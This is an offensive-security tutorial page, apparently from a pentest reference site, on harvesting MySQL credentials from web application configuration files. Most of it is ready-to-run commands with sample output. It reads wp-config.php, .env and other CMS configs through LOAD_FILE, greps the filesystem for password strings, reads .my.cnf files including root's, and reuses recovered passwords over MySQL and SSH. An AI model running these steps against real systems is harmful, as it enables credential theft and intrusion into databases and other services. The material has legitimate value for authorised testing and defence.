Skip to content
HackIndex logo

HackIndex

MySQL Credential Harvesting from Application Configs

3 min read Mar 26, 2026

Application configuration files on the web server contain plaintext MySQL credentials used by the application to connect to the database. These credentials are separate from those stored in mysql.user — they are OS-level files readable through shell access or through MySQL's LOAD_FILE function when FILE privilege is present. The recovered credentials often have elevated database privileges compared to what the current MySQL session provides, and frequently reuse passwords across multiple services on the same host.

Read Config Files via LOAD_FILE

Target common CMS and framework configuration file locations. Start with the most widely deployed platforms:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -N -e "SELECT LOAD_FILE('/var/www/html/wp-config.php');" 
define('DB_NAME', 'wordpress');
define('DB_USER', 'wpuser');
define('DB_PASSWORD', 'Sup3rS3cret!');
define('DB_HOST', 'localhost');
┌──(kali㉿kali)-[~]
└─$ for path in \
'/var/www/html/wp-config.php' \
'/var/www/html/configuration.php' \
'/var/www/html/config/database.php' \
'/var/www/html/app/config/database.php' \
'/var/www/html/.env' \
'/var/www/html/config.php' \
'/var/www/html/includes/config.php' \
'/var/www/html/application/config/database.php' \
'/var/www/html/sites/default/settings.php'; do
result=$(mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -N -e "SELECT LOAD_FILE('$path');" 2>/dev/null)
[ -n "$result" ] && echo "=== $path ===" && echo "$result" | grep -iE 'pass|user|db_|database|host'
done

Search for Config Files via Shell Access

If shell access is available on the host, search the filesystem directly for configuration files containing MySQL credentials:

┌──(kali㉿kali)-[~]
└─$ grep -rEl 'DB_PASSWORD|db_password|mysql_password|database_password' /var/www/ 2>/dev/null 
/var/www/html/wp-config.php
/var/www/html/app/.env
/var/www/backup/config.php
┌──(kali㉿kali)-[~]
└─$ grep -rEl 'DB_PASSWORD|db_password|mysql_password|database_password' /var/www/ 2>/dev/null | xargs grep -iE 'pass|user' 2>/dev/null

Read .env Files

Modern frameworks store database credentials in .env files which are often world-readable and contain all service credentials in one place:

┌──(kali㉿kali)-[~]
└─$ find /var/www /srv /opt /home -name '.env' -readable 2>/dev/null | xargs grep -iE 'DB_|MYSQL_|DATABASE_' 2>/dev/null 
/var/www/html/.env:DB_CONNECTION=mysql
/var/www/html/.env:DB_HOST=127.0.0.1
/var/www/html/.env:DB_DATABASE=production
/var/www/html/.env:DB_USERNAME=laraveluser
/var/www/html/.env:DB_PASSWORD=LaravelProd2024!

Check MySQL Client Credential Files

Users who connect to MySQL frequently from the command line store credentials in .my.cnf files in their home directories to avoid typing passwords. These files contain plaintext credentials:

┌──(kali㉿kali)-[~]
└─$ find /root /home -name '.my.cnf' -readable 2>/dev/null | xargs cat 2>/dev/null 
[client]
user=root
password=AdminPass123
┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -N -e "SELECT LOAD_FILE('/root/.my.cnf'); SELECT LOAD_FILE('/home/www-data/.my.cnf');"

Test Recovered Credentials

Test each recovered credential set against MySQL directly and against other services on the host:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u laraveluser -pLaravelProd2024! -e "SHOW GRANTS FOR CURRENT_USER();"
┌──(kali㉿kali)-[~]
└─$ ssh laraveluser@$TARGET_IP

References